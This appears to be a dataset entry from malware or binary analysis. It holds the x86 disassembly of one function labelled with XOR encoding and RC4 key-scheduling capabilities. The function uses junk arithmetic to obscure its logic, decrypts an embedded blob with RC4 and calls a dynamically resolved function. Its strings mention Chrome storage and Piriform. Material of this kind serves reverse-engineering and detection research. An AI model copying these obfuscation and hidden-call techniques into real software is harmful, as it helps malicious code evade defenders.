Function at 0x10004c80
Capabilities:
Encode data using xor
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x164
push 0x17
xor eax, eax
mov dword [ebp - 0x38], 0x28
pop edx
mov dword [ebp - 0x34], 0xffffffc1
mov ecx, eax
add edx, dword [ebp + ecx*4 - 0x38]
inc ecx
cmp ecx, 2
jl 0x10004c9e
push esi
push edi
push 0x59
mov dword [ebp - 0x4c], edx
pop ecx
mov edi, dword [0x10028448]
mov esi, edi
xor esi, 0xea83e740
mov dword [ebp - 0x3c], 0x2b
mov dword [ebp - 0x38], 0x31
mov dword [ebp - 0x34], 0xffffff52
add ecx, dword [ebp + eax*4 - 0x3c]
inc eax
cmp eax, 3
jl 0x10004cd3
movzx eax, byte [str.X509___Destination_buffer_is_too_small]
mov edx, 0x1369
mov dword [ebp - 0x50], ecx
mov ecx, str.X509___Destination_buffer_is_too_small
test eax, eax
je 0x10004d09
add edx, eax
inc ecx
cmp edx, 0xc24
ja 0x10004d09
movzx eax, byte [ecx]
test eax, eax
jne 0x10004cf5
jmp 0x10004d1a
push ecx
mov edx, esi
call fcn.100026a2
add esp, 4
imul esi, esi, 0xad9ecf05
mov edx, str.._AVCChromeStorageDatabases_Piriform__
mov ecx, str.X509___Destination_buffer_is_too_small
call fcn.10001b43
mov edx, edi
mov ecx, 0xda2
push 0x6d
xor edx, 0x4b1d6240
mov eax, str.make_default
pop edi
add ecx, edi
inc eax
cmp ecx, 0xf1a
ja 0x10004d52
movsx edi, byte [eax]
test edi, edi
jne 0x10004d3e
jmp 0x10004d5e
mov edx, dword [0x10028448]
and edx, 0x2094ec1c
or esi, 0x1df5cc48
mov dword [ebp - 8], esi
xor eax, eax
mov dword [ebp - 0x38], 0x1f
push 0x63
mov dword [ebp - 0x34], 0xffffff9d
mov ecx, eax
pop esi
add esi, dword [ebp + ecx*4 - 0x38]
inc ecx
cmp ecx, 2
jl 0x10004d7c
push 0x27
mov dword [ebp - 0x34], esi
mov ecx, eax
pop esi
mov dword [ebp - 0x44], 0x4f
mov dword [ebp - 0x40], 0xffffff8b
add esi, dword [ebp + ecx*4 - 0x44]
inc ecx
cmp ecx, 2
jl 0x10004d9c
mov dword [ebp - 0x40], esi
lea edi, [ebp - 0x1c]
mov esi, str.persistentGuid
mov dword [ebp - 0x30], 0xece19514
add edx, 0x622da53c
mov dword [ebp - 0x2c], 0x5579eb79
mov dword [ebp - 0x28], 0xf96ecab3
mov ecx, eax
mov dword [ebp - 0x24], 0xd75a6aea
movsd dword es:[edi], dword [esi]
mov byte [ebp - 0x20], 0xdb
mov dword [ebp - 0x48], edx
mov dword [0x10028448], edx
movsd dword es:[edi], dword [esi]
mov dword [ebp - 4], eax
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov byte [ebp + ecx - 0x164], cl
inc ecx
cmp ecx, 0x100
jb 0x10004deb
mov esi, dword [ebp - 8]
mov edi, eax
xor edx, edx
mov dword [ebp - 8], 0xe
mov eax, edi
mov cl, byte [ebp + edi - 0x164]
div dword [ebp - 8]
mov byte [ebp - 9], cl
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x1c]
add eax, dword [ebp - 4]
add ecx, eax
imul eax, esi, 0x32f8aa44
movzx ecx, cl
mov dword [ebp - 4], ecx
mov esi, eax
and eax, 0xdaf84c28
mov dword [0x10028154], eax
mov al, byte [ebp + ecx - 0x164]
mov byte [ebp + edi - 0x164], al
inc edi
mov al, byte [ebp - 9]
mov byte [ebp + ecx - 0x164], al
cmp edi, 0x100
jb 0x10004e00
xor eax, eax
push 0x11
mov dword [ebp - 4], eax
mov ecx, eax
mov edi, eax
pop esi
lea eax, [ecx + 1]
movzx eax, al
mov dword [ebp - 8], eax
mov esi, dword [ebp - 8]
push 0x11
mov cl, byte [ebp + eax - 0x164]
mov eax, dword [ebp - 4]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 4], eax
mov al, byte [ebp + eax - 0x164]
mov byte [ebp + esi - 0x164], al
mov eax, dword [ebp - 4]
mov byte [ebp + eax - 0x164], cl
mov ecx, esi
pop esi
movzx eax, byte [ebp + ecx - 0x164]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x164]
xor al, byte [ebp + edi - 0x30]
mov byte [ebp + edi - 0x64], al
inc edi
cmp edi, esi
jb 0x10004e6a
mov dword [ebp - 0x18], 5
xor eax, eax
mov dword [ebp - 0x14], 0x46
mov dword [ebp - 0x10], 0xffffff3a
mov dword [ebp - 0x1c], 0x56
movups xmm1, xmmword [ebp - 0x1c]
push 0x3f
mov byte [ebp - 0x53], al
movaps xmm0, xmm1
mov dword [ebp - 0x18], 0x33
psrldq xmm0, 8
paddd xmm1, xmm0
mov dword [ebp - 0x14], 0x41
movups xmm0, xmm1
mov dword [ebp - 0x10], 0xffffff4d
psrldq xmm0, 4
paddd xmm1, xmm0
movd ecx, xmm1
pop edi
add ecx, 0x25
mov dword [ebp - 8], ecx
mov ecx, eax
add edi, dword [ebp + ecx*4 - 0x18]
inc ecx
cmp ecx, 3
jl 0x10004f2a
mov ecx, dword [ebp - 0x48]
and ecx, 0xc73791e4
mov dword [ebp - 0x18], esi
mov dword [0x100282c4], ecx
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x10], 0xffffffcd
add esi, dword [ebp + eax*4 - 0x18]
inc eax
cmp eax, 3
jl 0x10004f50
mov eax, dword [ebp - 0x4c]
lea edx, [ebp - 0x64]
mov ecx, dword [ebp - 0x40]
mov dword [ebp - 4], eax
call fcn.1001bfc3
call eax
push dword [ebp - 8]
lea ecx, [ebp - 4]
mov dword [ebp - 0x40], eax
push 4
push ecx
push dword [ebp - 0x50]
push eax
call fcn.1001c701
add esp, 0x14
test eax, eax
jne 0x10004fb4
cmp dword [ebp - 4], eax
je 0x10004fb4
push 0x26
pop ecx
mov dword [ebp - 0x18], 0x13
mov dword [ebp - 0x14], 0x55
mov dword [ebp - 0x10], 0xffffff73
add ecx, dword [ebp + eax*4 - 0x18]
inc eax
cmp eax, 3
jl 0x10004fa6
mov eax, ecx
jmp 0x10005026
mov eax, dword [0x100282c4]
and eax, 0x8debd03a
push edi
mov dword [0x10028448], eax
lea eax, [ebp - 4]
push 4
push eax
push dword [ebp - 0x34]
push dword [ebp - 0x40]
call fcn.1001c701
add esp, 0x14
test eax, eax
jne 0x10005024
cmp dword [ebp - 4], eax
jne 0x10005024
push 0x26
pop eax
mov dword [ebp - 0x1c], eax
xorps xmm1, xmm1
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], 0x30
mov dword [ebp - 0x10], 0xffffff8a
movups xmm0, xmmword [ebp - 0x1c]
psubd xmm1, xmm0
movaps xmm0, xmm1
psrldq xmm0, 8
paddd xmm1, xmm0
movups xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd eax, xmm1
add eax, 7
jmp 0x10005026
mov eax, esi
pop edi
pop esi
leave
ret